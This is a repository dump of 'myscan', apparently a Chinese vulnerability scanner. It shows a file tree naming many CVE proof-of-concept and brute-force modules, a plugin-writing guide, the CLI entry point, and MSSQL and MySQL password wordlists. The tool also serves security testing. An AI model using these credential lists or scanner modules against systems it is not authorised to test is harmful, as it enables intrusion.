├── .gitignore
├── LICENSE
├── README.md
├── docs
├── Class1-关于被动扫描器.md
├── Class2-进阶用法及开发指南.md
├── Class3-hostscan开发指南.md
└── images
│ ├── 1.png
│ ├── 2.png
│ ├── 3.png
│ ├── 4.png
│ ├── 5.png
│ └── 流程图.png
├── myscan
├── TODO
├── __init__.py
├── __init__.pyc
├── cli.py
├── config.py
├── data
│ ├── brute
│ │ ├── mssql_pass
│ │ ├── mssql_user
│ │ ├── mysql_pass
│ │ ├── mysql_user
│ │ ├── password-top100.txt
│ │ ├── redis_pass
│ │ ├── smb_pass
│ │ ├── smb_user
│ │ ├── ssh_pass
│ │ └── ssh_user
│ ├── common
│ │ └── dns_servers.txt
│ └── dir
│ │ └── dicc.txt
├── exp
│ ├── dns
│ │ └── dns_zone_transfer.py
│ └── shiro
│ │ └── shiro_find_key.py
├── htmllib
│ ├── prism-http.min.js
│ ├── prism-javascript.min.js
│ ├── prism.min.css
│ ├── prism.min.js
│ └── raven.min.js
├── lib
│ ├── __init__.py
│ ├── __init__.pyc
│ ├── bin
│ │ └── weblogic
│ │ │ ├── CVE-2020-14645.jar
│ │ │ ├── CVE-2020-2555.jar
│ │ │ └── CVE-2020-2883.jar
│ ├── controller
│ │ ├── __init__.py
│ │ └── start.py
│ ├── core
│ │ ├── __init__.py
│ │ ├── __init__.pyc
│ │ ├── base.py
│ │ ├── block_info.py
│ │ ├── common.py
│ │ ├── common_reverse.py
│ │ ├── conn.py
│ │ ├── const.py
│ │ ├── data.py
│ │ ├── datatype.py
│ │ ├── dns.py
│ │ ├── htmlout.py
│ │ ├── log.py
│ │ ├── options.py
│ │ ├── plugin.py
│ │ ├── pythonplugin.py
│ │ ├── pythonpoc.py
│ │ ├── register.py
│ │ ├── status.py
│ │ └── threads.py
│ ├── helper
│ │ ├── __init__.py
│ │ ├── helper_socket.py
│ │ ├── helper_sqli.py
│ │ └── request.py
│ ├── hostscan
│ │ ├── __init__.py
│ │ ├── common.py
│ │ ├── input_sour
│ │ │ ├── __init__.py
│ │ │ ├── from_json_import.py
│ │ │ ├── from_nmap_text_import.py
│ │ │ └── from_nmap_xml_import.py
│ │ ├── pocbase.py
│ │ └── start_input.py
│ ├── parse
│ │ ├── __init__.py
│ │ ├── cmd_line_parser.py
│ │ ├── dictdata_parser.py
│ │ └── response_parser.py
│ ├── patch
│ │ ├── ipv6_patch.py
│ │ ├── paramiko_patch.py
│ │ └── requests_urlencode_patch.py
│ └── scriptlib
│ │ ├── __init__.py
│ │ ├── java
│ │ └── java_serialize.py
│ │ ├── sqli
│ │ └── diffpage.py
│ │ ├── ssti
│ │ ├── __init__.py
│ │ ├── closures.py
│ │ ├── const.py
│ │ ├── engines
│ │ │ ├── __init__.py
│ │ │ ├── dot.py
│ │ │ ├── dust.py
│ │ │ ├── ejs.py
│ │ │ ├── erb.py
│ │ │ ├── freemarker.py
│ │ │ ├── jinja2.py
│ │ │ ├── mako.py
│ │ │ ├── marko.py
│ │ │ ├── nunjucks.py
│ │ │ ├── pug.py
│ │ │ ├── slim.py
│ │ │ ├── smarty.py
│ │ │ ├── tornado.py
│ │ │ ├── twig.py
│ │ │ └── velocity.py
│ │ ├── importssti.py
│ │ ├── languages
│ │ │ ├── bash.py
│ │ │ ├── java.py
│ │ │ ├── javascript.py
│ │ │ ├── php.py
│ │ │ ├── python.py
│ │ │ └── ruby.py
│ │ ├── plugin.py
│ │ └── rand.py
│ │ └── xss
│ │ ├── __init__.py
│ │ ├── common.py
│ │ ├── const.py
│ │ ├── generator.py
│ │ ├── jsContexter.py
│ │ └── utils.py
├── plugins
│ ├── __init__.py
│ ├── hostscan
│ │ └── __init__.py
│ └── webscan
│ │ ├── __init__.py
│ │ └── es_import.py
├── pocs
│ ├── __init__.py
│ ├── perfile
│ │ ├── __template.py
│ │ ├── myscan_crlf.py
│ │ ├── myscan_dns_zone_transfer.py
│ │ ├── myscan_editfile_leak.py
│ │ ├── myscan_getpage.py
│ │ ├── myscan_source_code_disclosure.py
│ │ ├── myscan_webpack_leak.py
│ │ ├── poc_bash-cve-2014-6271.py
│ │ ├── poc_rails_cve-2019-5418_2019.py
│ │ ├── poc_struts2-057.py
│ │ ├── poc_struts2_016.py
│ │ ├── poc_struts2_032.py
│ │ └── poc_struts2_dev.py
│ ├── perfolder
│ │ ├── __init__.py
│ │ ├── __poc_dedecms-cve-2018-6910_2018.py
│ │ ├── __poc_dedecms-cve-2018-7700-rce_2018.py
│ │ ├── __template.py
│ │ ├── apache
│ │ │ ├── __init__.py
│ │ │ ├── poc_apache-flink-upload-rce_2020.py
│ │ │ ├── poc_apache-ofbiz-cve-2018-8033-xxe_2018.py
│ │ │ ├── poc_apache-ofbiz-cve-2020-9496-xml-deserialization_2020.py
│ │ │ ├── poc_apache_nifi_rce_2020.py
│ │ │ └── poc_apache_unomi_cve-2020-13942_2020.py
│ │ ├── apereo
│ │ │ ├── __init__.py
│ │ │ └── poc_apereo_cas_rce_2019.py
│ │ ├── axis
│ │ │ ├── __init__.py
│ │ │ └── poc_axis_cve-2019-0227_2019.py
│ │ ├── baota
│ │ │ ├── __init__.py
│ │ │ └── poc_baota_pmaunauth_2020.py
│ │ ├── basework
│ │ │ ├── __init__.py
│ │ │ └── myscan_getpage.py
│ │ ├── bullwark
│ │ │ └── poc_bullwark-momentum-lfi_2019.py
│ │ ├── cacti
│ │ │ ├── __init__.py
│ │ │ └── poc_cacti-weathermap-file-write_2019.py
│ │ ├── cisco
│ │ │ ├── __init__.py
│ │ │ ├── pcc_cisco_route_cve-2019-1653_2019.py
│ │ │ ├── poc_cisco_asa_cve-2020-3452.py
│ │ │ └── poc_cisco_xenmobile_cve-2020-8209_2020.py
│ │ ├── citrix
│ │ │ ├── __init__.py
│ │ │ ├── poc_citrix-cve-2019-19781-path-traversal_2019.py
│ │ │ ├── poc_citrix-cve-2020-8191-xss_2020.py
│ │ │ ├── poc_citrix-cve-2020-8193-unauthorized.py
│ │ │ └── poc_citrix-cve-2020-8982-unauth-fileread_2020.py
│ │ ├── coldfusion
│ │ │ ├── __init__.py
│ │ │ └── poc_coldfusion-cve-2010-2861-lfi_2010.py
│ │ ├── confluence
│ │ │ ├── __init__.py
│ │ │ └── poc_confluence-cve-2019-3396-lfi_2019.py
│ │ ├── consul
│ │ │ ├── __init__.py
│ │ │ └── poc_consul-rce_2020.py
│ │ ├── coremail
│ │ │ ├── __init__.py
│ │ │ └── poc_coremail-cnvd-2019-16798_2019.py
│ │ ├── couchcms
│ │ │ ├── __init__.py
│ │ │ └── poc_couchcms-cve-2018-7662_2018.py
│ │ ├── couchdb
│ │ │ ├── __init__.py
│ │ │ ├── poc_couchdb-cve-2017-12635_2017.py
│ │ │ └── poc_couchdb-unauth_2016.py
│ │ ├── dell
│ │ │ └── poc_dell_idrac_weak_passwd_2020.py
│ │ ├── discuz
│ │ │ ├── __init__.py
│ │ │ ├── poc_discuz-v72-sqli_2018.py
│ │ │ ├── poc_discuz-wechat-plugins-unauth_2016.py
│ │ │ └── poc_discuz-wooyun-2010-080723_2010.py
│ │ ├── dlink
│ │ │ ├── __init__.py
│ │ │ ├── poc_dlink-850l-info-leak_2018.py
│ │ │ ├── poc_dlink-cve-2019-16920-rce_2019.py
│ │ │ └── poc_dlink-cve-2019-17506_2019.py
│ │ ├── docker
│ │ │ ├── __init__.py
│ │ │ ├── poc_docker-api-unauthorized-rce_2017.py
│ │ │ └── poc_docker-registry-api-unauth_2017.py
│ │ ├── druid
│ │ │ ├── __init__.py
│ │ │ └── poc_druid-monitor-unauth_2019.py
│ │ ├── drupal
│ │ │ ├── __init__.py
│ │ │ └── poc_drupal-cve-2019-6340_2019.py
│ │ ├── ecology
│ │ │ ├── __init__.py
│ │ │ ├── poc_ecology-filedownload-directory-traversal_2018.py
│ │ │ ├── poc_ecology-javabeanshell-rce_2019.py
│ │ │ ├── poc_ecology-springframework-directory-traversal_2019.py
│ │ │ ├── poc_ecology-syncuserinfo-sqli_2019.py
│ │ │ ├── poc_ecology-validate-sqli_2019.py
│ │ │ ├── poc_ecology-workflowcentertreedata-sqli_2019.py
│ │ │ └── poc_ecology_db_leak_2020.py
│ │ ├── ecshop
│ │ │ ├── __init__.py
│ │ │ └── poc_ecshop-360-rce_2019.py
│ │ ├── elasticsearch
│ │ │ ├── __init__.py
│ │ │ ├── poc_elasticsearch-cve-2014-3120_2014.py
│ │ │ ├── poc_elasticsearch-cve-2015-1427_2015.py
│ │ │ ├── poc_elasticsearch-cve-2015-3337-lfi_2015.py
│ │ │ └── poc_elasticsearch-unauth.py
│ │ ├── exacqVision
│ │ │ └── poc_exacqVision_cve-2020-9047_2020.py
│ │ ├── f5
│ │ │ ├── __init__.py
│ │ │ └── poc_f5-tmui-cve-2020-5902-rce_2020.py
│ │ ├── finecms
│ │ │ ├── __init__.py
│ │ │ └── poc_finecms-sqli_2019.py
│ │ ├── finereport
│ │ │ ├── __init__.py
│ │ │ └── poc_finereport-directory-traversal_2019.py
│ │ ├── fortigate
│ │ │ └── poc_fortigate_cve-2018-13379_2018.py
│ │ ├── hadoop
│ │ │ ├── __init__.py
│ │ │ └── poc_hadoop_unauth_acc_2018.py
│ │ ├── hikvision
│ │ │ ├── __init__.py
│ │ │ └── poc_hikvision_xss_2020.py
│ │ ├── iis
│ │ │ ├── __init__.py
│ │ │ ├── poc_iis_6.0_cve-2017-7269.py
│ │ │ └── poc_iis_6.0_shortname.py
│ │ ├── info
│ │ │ ├── __init__.py
│ │ │ ├── myscan_baseline.py
│ │ │ ├── myscan_dirscan.py
│ │ │ ├── myscan_put_upload.py
│ │ │ ├── myscan_sensitive_file_leak.py
│ │ │ ├── poc_docker_registry_listing_2019.py
│ │ │ ├── poc_front-page-misconfig.py
│ │ │ ├── poc_jira_service-desk-signup.py
│ │ │ ├── poc_jira_unauthenticated-projects.py
│ │ │ ├── poc_springboot-actuators.py
│ │ │ └── poc_webeditor_found.py
│ │ ├── jboss
│ │ │ ├── __init__.py
│ │ │ └── poc_jboss_found_2020.py
│ │ ├── jenkins
│ │ │ └── poc_jenkins_rce_2019.py
│ │ ├── jira
│ │ │ ├── __init__.py
│ │ │ ├── poc_jira-cve-2019-11581_2019.py
│ │ │ ├── poc_jira-ssrf-cve-2019-8451_2019.py
│ │ │ └── poc_jira_userenum_cve-2020-14181_2020.py
│ │ ├── jolokia
│ │ │ ├── __init__.py
│ │ │ └── poc_jolokia_CVE-2018-1000130_2018.py
│ │ ├── joomla
│ │ │ ├── __init__.py
│ │ │ ├── poc_joomla-cnvd-2019-34135-rce_2019.py
│ │ │ └── poc_joomla-cve-2017-8917-sqli_2017.py
│ │ ├── kibana
│ │ │ └── poc_kibana-unauth_2018.py
│ │ ├── kong
│ │ │ ├── __init__.py
│ │ │ └── poc_kong-cve-2020-11710-unauth_2020.py
│ │ ├── kylin
│ │ │ └── poc_kylin_cve-2020-13937_2020.py
│ │ ├── lanproxy
│ │ │ └── poc_lanproxy_fileread_2021.py
│ │ ├── laravel
│ │ │ ├── __init__.py
│ │ │ └── poc_laravel-debug-info-leak_2020.py
│ │ ├── myscan_redirect.py
│ │ ├── myscan_swf_xss.py
│ │ ├── nexus
│ │ │ ├── __init__.py
│ │ │ ├── poc_nexus-cve-2019-7238_2019.py
│ │ │ └── poc_nexus-default-password_2020.py
│ │ ├── nginx
│ │ │ └── poc_nginx-module-vts-xss.py
│ │ ├── nsfocus
│ │ │ └── __nsfocus_uts_unauth_2020.py
│ │ ├── oracle
│ │ │ └── oracle_ebs-bispgrapgh-file-read_2020.py
│ │ ├── phpstudy
│ │ │ ├── __init__.py
│ │ │ ├── poc_phpstudy-nginx-wrong-resolve_2020.py
│ │ │ └── poc_phpstudy_backdoor_2019.py
│ │ ├── poc_user-agent-shell-shock_2018.py
│ │ ├── private
│ │ │ └── __init__.py
│ │ ├── pulsesecure
│ │ │ └── poc_pulsesecure_sslvpn_cve-2019-11510_2019.py
│ │ ├── qnap
│ │ │ ├── __init__.py
│ │ │ └── poc_qnap-cve-2019-7192_2019.py
│ │ ├── rails
│ │ │ ├── __init__.py
│ │ │ └── poc_rails-cve-2018-3760_2018.py
│ │ ├── saltstack
│ │ │ └── poc_saltstack-cve-2020-16846_2020.py
│ │ ├── sangfor
│ │ │ ├── __init__.py
│ │ │ ├── poc_sangfor_edr_rce_2020.py
│ │ │ ├── poc_sangfor_edr_rce_202009_2020.py
│ │ │ ├── poc_sangfor_edr_unauth_2020.py
│ │ │ └── poc_sangfor_rce_2020.py
│ │ ├── sap
│ │ │ ├── __init__.py
│ │ │ ├── poc_sap_cve-2017-12637_2017.py
│ │ │ └── poc_sap_cve-2020-6287_2020.py
│ │ ├── seeyon
│ │ │ ├── __init__.py
│ │ │ ├── poc_seeyon_u8_sqli_2020.py
│ │ │ └── poc_seeyou_a8_getshell_2019.py
│ │ ├── sharepoint
│ │ │ └── poc_sharepoint_rce_cve-2020-1147_2020.py
│ │ ├── solr
│ │ │ ├── __init__.py
│ │ │ ├── poc_solr-velocity-template-rce_2019.py
│ │ │ ├── poc_solr_cve-2017-12629-xxe_2017.py
│ │ │ └── poc_solr_cve-2019-0193_2019.py
│ │ ├── sonarqube
│ │ │ └── poc_sonarqube_api_access.py
│ │ ├── spark
│ │ │ ├── __init__.py
│ │ │ └── poc_spark_unacc_2018.py
│ │ ├── spring
│ │ │ ├── __init__.py
│ │ │ ├── poc_spring-cloud-cve-2020-5410_2020.py
│ │ │ ├── poc_spring-cloud-netflix-hystrix-dashboard_CVE-2020-5412_2020.py
│ │ │ ├── poc_spring_cloud-cve-2020-5405_2020.py
│ │ │ ├── poc_spring_cve-2016-4977_2016.py
│ │ │ ├── poc_spring_cve-2019-3799_2019.py
│ │ │ ├── poc_spring_xss_2020.py
│ │ │ ├── poc_springboot-actuators-jolokia-xxe.py
│ │ │ └── poc_springboot_h2_db_rce_2020.py
│ │ ├── struts
│ │ │ ├── __init__.py
│ │ │ ├── poc_struts2_033.py
│ │ │ ├── poc_struts2_037.py
│ │ │ ├── poc_struts2_045.py
│ │ │ ├── poc_struts2_046.py
│ │ │ └── poc_struts2_052.py
│ │ ├── supervisord
│ │ │ ├── __init__.py
│ │ │ └── poc_supervisord-cve-2017-11610_2017.py
│ │ ├── symantec
│ │ │ └── poc_symantec-messaging-gateway_lfi_2020.py
│ │ ├── terramaster
│ │ │ ├── __init__.py
│ │ │ └── poc_terramaster_rce_cve-2020-28188.py
│ │ ├── thinkadmin
│ │ │ └── poc_thinkadmin_unauth_and_read_file.py
│ │ ├── thinkcmf
│ │ │ ├── __init__.py
│ │ │ ├── poc_thinkcmf-lfi_2020.py
│ │ │ └── poc_thinkcmf_rce_2019.py
│ │ ├── thinkphp
│ │ │ ├── __init__.py
│ │ │ └── poc_thinkphp_rce_all_2020.py
│ │ ├── tomcat
│ │ │ ├── __init__.py
│ │ │ ├── poc_tomcat-manager-pathnormalization.py
│ │ │ ├── poc_tomcat_cve-2017-12615_2017.py
│ │ │ └── poc_tomcat_cve-2018-11759_2018.py
│ │ ├── tongda
│ │ │ ├── __init__.py
│ │ │ ├── poc_tongda_oa_rce1_2020.py
│ │ │ └── poc_tongda_oa_rce_2020.py
│ │ ├── ueditor
│ │ │ └── poc_ueditor_cnvd-2017-20077-file-upload_2020.py
│ │ ├── vbulletin
│ │ │ ├── poc_vbulletin-cve-2019-16759_2019.py
│ │ │ └── poc_vbulletin-cve-2019-16759_2019_bypass.py
│ │ ├── vmware
│ │ │ └── poc_vmware_vcenter_readfile_2020.py
│ │ ├── weaver
│ │ │ └── poc_weaver-ebridge-file-read_2020.py
│ │ ├── weblogic
│ │ │ ├── __init__.py
│ │ │ ├── poc_weblogic_cve-2017-10271_2017.py
│ │ │ ├── poc_weblogic_cve-2019-2725_v10_2019.py
│ │ │ ├── poc_weblogic_cve-2019-2725_v12_2019.py
│ │ │ ├── poc_weblogic_cve-2019-2729_1_2019.py
│ │ │ ├── poc_weblogic_cve-2019-2729_2_2019.py
│ │ │ ├── poc_weblogic_cve-2020-14882_2020.py
│ │ │ └── poc_weblogic_ssrf_2018.py
│ │ ├── wordpress
│ │ │ ├── __init__.py
│ │ │ ├── poc_wordpress-duplicator-path-traversal.py
│ │ │ ├── poc_wordpress_configfile.py
│ │ │ └── poc_wordpress_wordfence_xss.py
│ │ ├── xunchi
│ │ │ └── poc_xunchi-cnvd-2020-23735-file-read_2020.py
│ │ ├── xxl-job
│ │ │ └── poc_xxl-job_unauth_rce_2020.py
│ │ ├── yonyou
│ │ │ └── poc_yonyou_rce_2020.py
│ │ ├── youphptube
│ │ │ └── poc_youphptube-encoder-cve-2019-5129_2019.py
│ │ ├── zabbix
│ │ │ ├── __init__.py
│ │ │ ├── poc_zabbix_authentication-bypass_2016.py
│ │ │ └── poc_zabbix_cve-2016-10134_2016.py
│ │ ├── zeroshell
│ │ │ ├── __init__.py
│ │ │ └── poc_zeroshell_cve-2019-12725_2020.py
│ │ └── zyxel
│ │ │ └── poc_zyxel_cve-2020-9054_2020.py
│ ├── perscheme
│ │ ├── __init__.py
│ │ ├── __myscan_analyze_serialize_parameter.py
│ │ ├── __myscan_js_sensitive_content.py
│ │ ├── __poc_fastjson_deserialization_rce_encode_2020.py
│ │ ├── __poc_fastjson_rce.py
│ │ ├── __template.py
│ │ ├── info
│ │ │ ├── __init__.py
│ │ │ ├── myscan_baseline.py
│ │ │ └── myscan_sensitive_msg_transfer.py
│ │ ├── myscan_cmd_inject.py
│ │ ├── myscan_cors.py
│ │ ├── myscan_host_inject.py
│ │ ├── myscan_jackson_cve-2019-12384_2019.py
│ │ ├── myscan_jackson_cve-2020-35728.py
│ │ ├── myscan_jsonp.py
│ │ ├── myscan_phpcode_inject.py
│ │ ├── myscan_phppath_leak.py
│ │ ├── myscan_power_unauth.py
│ │ ├── myscan_redirect.py
│ │ ├── myscan_sqli_boolen.py
│ │ ├── myscan_sqli_error.py
│ │ ├── myscan_sqli_timeblind.py
│ │ ├── myscan_ssrf.py
│ │ ├── myscan_ssti.py
│ │ ├── myscan_struts2_061.py
│ │ ├── myscan_xss.py
│ │ ├── myscan_xxe.py
│ │ ├── others_fastjson_dnslog_found.py
│ │ ├── others_jackson_fastjson_error_found.py
│ │ ├── others_webdav.py
│ │ ├── poc_apereo_cas_rce_2019.py
│ │ ├── poc_fastjson_deserialization_rce_2020.py
│ │ ├── poc_shiro_rce_2019.py
│ │ ├── poc_srping_cve-2018-1273_2018.py
│ │ ├── poc_struts2-053.py
│ │ ├── poc_struts2_029.py
│ │ ├── poc_struts2_048.py
│ │ ├── shiro
│ │ │ ├── __init__.py
│ │ │ └── poc_shiro_rce_2019.py
│ │ └── tomcat
│ │ │ └── poc_tomcat-manager-pathnormalization_verify_2020.py
│ ├── perserver
│ │ ├── __init__.py
│ │ ├── __ssh_brute.py
│ │ ├── __template.py
│ │ ├── mongodb_unauth.py
│ │ ├── mssql_brute.py
│ │ ├── mysql_brute.py
│ │ ├── redis_brute.py
│ │ ├── rmi_deserialization.py
│ │ ├── samba_cve_2017-7494.py
│ │ ├── smb_brute.py
│ │ ├── smb_info.py
│ │ ├── smb_ms17010.py
│ │ ├── weblogic_cve_2020_14645.py
│ │ ├── weblogic_cve_2020_2555.py
│ │ └── weblogic_cve_2020_2883.py
│ └── search.py
├── reverse
│ ├── reverse.py
│ ├── reverse_dns.py
│ ├── reverse_http.py
│ ├── reverse_ldap.py
│ └── reverse_rmi.py
├── tests
│ ├── TODO
│ ├── __init__.py
│ ├── codetest.py
│ ├── es_test.py
│ ├── getdatafromredis.py
│ ├── ignore_test.py
│ └── jnius_example.py
└── web
│ ├── app.py
│ ├── static
│ ├── bugs
│ │ ├── bootstrap
│ │ │ ├── css
│ │ │ │ ├── bootstrap-theme.css
│ │ │ │ ├── bootstrap-theme.css.map
│ │ │ │ ├── bootstrap-theme.min.css
│ │ │ │ ├── bootstrap.css
│ │ │ │ ├── bootstrap.css.map
│ │ │ │ └── bootstrap.min.css
│ │ │ ├── fonts
│ │ │ │ ├── glyphicons-halflings-regular.eot
│ │ │ │ ├── glyphicons-halflings-regular.svg
│ │ │ │ ├── glyphicons-halflings-regular.ttf
│ │ │ │ ├── glyphicons-halflings-regular.woff
│ │ │ │ └── glyphicons-halflings-regular.woff2
│ │ │ └── js
│ │ │ │ ├── bootstrap.js
│ │ │ │ ├── bootstrap.min.js
│ │ │ │ └── npm.js
│ │ ├── css
│ │ │ └── style.css
│ │ └── js
│ │ │ ├── jquery-1.11.3.min.js
│ │ │ ├── jquery-1.4.2.min.js
│ │ │ └── jquery.twbsPagination.js
│ ├── css
│ │ └── prism.min.css
│ ├── drops
│ │ ├── css
│ │ │ ├── 95e46879.main.css
│ │ │ └── bootstrap.min.css
│ │ └── js
│ │ │ ├── bootstrap.min.js
│ │ │ ├── jquery.js
│ │ │ └── jquery.min.js
│ └── js
│ │ ├── prism-http.min.js
│ │ ├── prism-javascript.min.js
│ │ └── prism.min.js
│ └── templates
│ ├── base.html
│ ├── error.html
│ ├── index.html
│ ├── index1.html
│ ├── search.html
│ └── search1.html
├── myscan_burp_extension.jar
└── requirements.txt
/.gitignore:
--------------------------------------------------------------------------------
1 | .DS_Store
2 | .idea
3 | TODO
4 | tests/
5 | __pycache__/
6 | private/
7 | codetest.py
8 | fuzz/
9 | poc_thinkphp_logfile_2020.py
10 |
--------------------------------------------------------------------------------
/docs/Class3-hostscan开发指南.md:
--------------------------------------------------------------------------------
1 | 此模块待开发...
2 |
3 | ### Example dict
4 |
5 | ```
6 | {
7 | "filter": false, # redis是否去重
8 | "scan": false, # 是否再次用nmap确定服务,当为True时,service字段将无效
9 | "addr": "1.1.1.1", # 支持域名
10 | "port": 80,
11 | "type": "tcp",
12 | "service": { # nmap识别出来服务以及版本
13 | "smb": "6.1",
14 | "unknown": ""
15 | }
16 | }
17 | ```
18 |
19 |
20 | ### POC编写
21 |
22 | 程序已有多种样例,可先阅读已编写好的代码。
23 | > 在pocs目录,共perfile,perfolder,perscheme三个目录,每个目录下均有__template.py文件,此文件为模版文件,编写poc时,复制一份重命名即可。
24 | >
25 | > 在POC文件里,类名必须为POC,必须包含一个self.result用来保存结果,和一个verify方法,如模板所示主要编写在verify方法里面pass部分。
26 | >
27 | > 建议使用内置的requests模块,具有统计失败次数,搜索功能。
28 | >
29 | > 成功的结果以dict数据保存在list类型self.result里,dict数据需按照如下格式来
30 | >
31 | > ```
32 | self.result.append({
33 | "name": self.name,
34 | "url": "http://example.com/test.php",
35 | "level": self.level, # 0:Low 1:Medium 2:High
36 | "detail": {
37 | "vulmsg": self.vulmsg,
38 | }
39 | })
40 | >```
41 | >dict数据必须包含"name","url","level","detail"四个key,其中detail字典里可自定义数据。
42 | >
43 | >
44 |
45 |
--------------------------------------------------------------------------------
/docs/images/1.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/amcai/myscan/c0ed549669ec76cc9fea660554943244cbdd703b/docs/images/1.png
--------------------------------------------------------------------------------
/docs/images/2.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/amcai/myscan/c0ed549669ec76cc9fea660554943244cbdd703b/docs/images/2.png
--------------------------------------------------------------------------------
/docs/images/3.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/amcai/myscan/c0ed549669ec76cc9fea660554943244cbdd703b/docs/images/3.png
--------------------------------------------------------------------------------
/docs/images/4.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/amcai/myscan/c0ed549669ec76cc9fea660554943244cbdd703b/docs/images/4.png
--------------------------------------------------------------------------------
/docs/images/5.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/amcai/myscan/c0ed549669ec76cc9fea660554943244cbdd703b/docs/images/5.png
--------------------------------------------------------------------------------
/docs/images/流程图.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/amcai/myscan/c0ed549669ec76cc9fea660554943244cbdd703b/docs/images/流程图.png
--------------------------------------------------------------------------------
/myscan/TODO:
--------------------------------------------------------------------------------
1 | 1.https://www.anquanke.com/post/id/184668
2 | 2.反序列化回显研究
3 | 3.cas插件编写
4 | 4.spring cve-2018-1273 回显
--------------------------------------------------------------------------------
/myscan/__init__.py:
--------------------------------------------------------------------------------
1 | __title__ = 'myscan'
2 | __version__ = '2.0.0'
3 | __author__ = 'caicai'
4 | __author_email__ = 'icaibai@foxmail.com'
5 | __license__ = 'GPL 2.0'
6 | __copyright__ = 'Copyright 2020'
7 | __name__ = 'myscan'
8 | __package__ = 'myscan'
9 |
10 |
--------------------------------------------------------------------------------
/myscan/__init__.pyc:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/amcai/myscan/c0ed549669ec76cc9fea660554943244cbdd703b/myscan/__init__.pyc
--------------------------------------------------------------------------------
/myscan/cli.py:
--------------------------------------------------------------------------------
1 | # !/usr/bin/env python3
2 | # @Time : 2020-02-14
3 | # @Author : caicai
4 | # @File : cli.py
5 | import os
6 | import sys
7 |
8 | try:
9 | import myscan
10 | except ImportError:
11 | sys.path.append(os.path.abspath(os.path.join(os.path.dirname(__file__), os.path.pardir)))
12 |
13 | from myscan.lib.core.common import set_paths
14 | from myscan.lib.core.conn import set_conn, cleandb
15 | from myscan.lib.core.options import init_options
16 | from myscan.lib.controller.start import process_start, start
17 | from myscan.lib.core.status import start_count_status
18 | from myscan.lib.core.htmlout import start_write_results
19 | from myscan.lib.core.data import cmd_line_options, logger
20 | from myscan.reverse.reverse import reverse_start
21 | from myscan.lib.hostscan.start_input import start_input
22 |
23 |
24 | def main():
25 | set_paths(os.path.dirname(os.path.realpath(__file__)))
26 | init_options()
27 | if cmd_line_options.command in ["webscan","hostscan"] :
28 | logger.info("Start {} mode".format(cmd_line_options.command))
29 | set_conn()
30 | cleandb()
31 | start_count_status()
32 | start_write_results()
33 | start_input()
34 | process_start()
35 | start()
36 | elif cmd_line_options.command == "reverse":
37 | logger.info("Start reverse mode")
38 | reverse_start()
39 |
40 | if __name__ == '__main__':
41 | main()
42 |
--------------------------------------------------------------------------------
/myscan/data/brute/mssql_pass:
--------------------------------------------------------------------------------
1 | sa
2 | sa@123
3 | Sa
4 | sa123
5 | 000000
6 | 000000000
7 | 0000000000
8 | 0000000000000000
9 | 0123456789
10 | 110120119
11 | 111111
12 | 111111111
13 | 1111111111
14 | 1111111111111111
15 | 123
16 | 123123
17 | 123123123
18 | 1233211234567
19 | 1234554321
20 | 123456
21 | 123456.
22 | 123456..
23 | 123456789
24 | 123456789.
25 | 123456789..
26 | 1234567890
27 | 12345678900
28 | 1234567891
29 | 12345678910
30 | 1234567891234567
31 | 1234567899
32 | 123456789a
33 | 123456789abc
34 | 123456789q
35 | 123456789qq
36 | 123456a
37 | 123456aa
38 | 123456abc
39 | 123456asd
40 | 123456q
41 | 123456qq
42 | 123698745
43 | 123abc
44 | 1314520520
45 | 135792468
46 | 1357924680
47 | 147258369
48 | 1472583690
49 | 19881230
50 | 1qaz2wsx
51 | 253013
52 | 5201314
53 | 5201314520
54 | 52013145201314
55 | 5841314520
56 | 741852963
57 | 7708801314520
58 | 789456123
59 | 7894561230
60 | 987654321
61 | 9876543210
62 | Passw0rd
63 | Password
64 | Password123
65 | Redis
66 | Redis123
67 | Redis@123
68 | Root@123
69 | a123123
70 | a123456
71 | a12345678
72 | a123456789
73 | a5201314
74 | aa123456
75 | aa123456789
76 | aaa123456
77 | abc123
78 | abc123456
79 | abc123456789
80 | abcd123
81 | abcd1234
82 | abcd123456
83 | admin
84 | admin123
85 | admin@123
86 | aini1314
87 | as123456
88 | asd123
89 | asd123456
90 | asdfghjkl
91 | foobared
92 | foobared123
93 | foobared123456
94 | foobared@123
95 | password123
96 | q123456
97 | q123456789
98 | qaz123456
99 | qazwsxedc
100 | qq123456
101 | qq123456789
102 | qq5201314
103 | qwe123
104 | qwe123456
105 | qwerty
106 | qwertyuiop
107 | redis
108 | redis123
109 | redis@123
110 | root
111 | root123
112 | root@123
113 | sunshine
114 | test
115 | test123
116 | w123456
117 | w123456789
118 | wang123456
119 | woaini
120 | woaini123
121 | !QAZ@WSX
122 | !QAZ2wsx
123 | woaini1314
124 | woaini1314520
125 | woaini520
126 | woaini521
127 | www123456
128 | z123456
129 | z123456789
130 | zxc123
131 | zxc123456
132 | zxcvbnm
133 | zxcvbnm123
--------------------------------------------------------------------------------
/myscan/data/brute/mssql_user:
--------------------------------------------------------------------------------
1 | sa
--------------------------------------------------------------------------------
/myscan/data/brute/mysql_pass:
--------------------------------------------------------------------------------
1 | mysql
2 | Mysql
3 | mysql@123
4 | Mysql@123
5 | 000000
6 | 000000000
7 | 0000000000
8 | 0000000000000000
9 | 0123456789
10 | 110120119
11 | 111111
12 | 111111111
13 | 1111111111
14 | 1111111111111111
15 | 123
16 | 123123
17 | 123123123
18 | 1233211234567
19 | 1234554321
20 | 123456
21 | 123456.
22 | 123456..
23 | 123456789
24 | 123456789.
25 | 123456789..
26 | 1234567890
27 | 12345678900
28 | 1234567891
29 | 12345678910
30 | 1234567891234567
31 | 1234567899
32 | 123456789a
33 | 123456789abc
34 | 123456789q
35 | 123456789qq
36 | 123456a
37 | 123456aa
38 | 123456abc
39 | 123456asd
40 | 123456q
41 | 123456qq
42 | 123698745
43 | 123abc
44 | 1314520520
45 | 135792468
46 | 1357924680
47 | 147258369
48 | 1472583690
49 | 19881230
50 | 1qaz2wsx
51 | 253013
52 | 5201314
53 | 5201314520
54 | 52013145201314
55 | 5841314520
56 | 741852963
57 | 7708801314520
58 | 789456123
59 | 7894561230
60 | 987654321
61 | 9876543210
62 | Passw0rd
63 | Password
64 | Password123
65 | Redis
66 | Redis123
67 | Redis@123
68 | Root@123
69 | a123123
70 | a123456
71 | a12345678
72 | a123456789
73 | a5201314
74 | aa123456
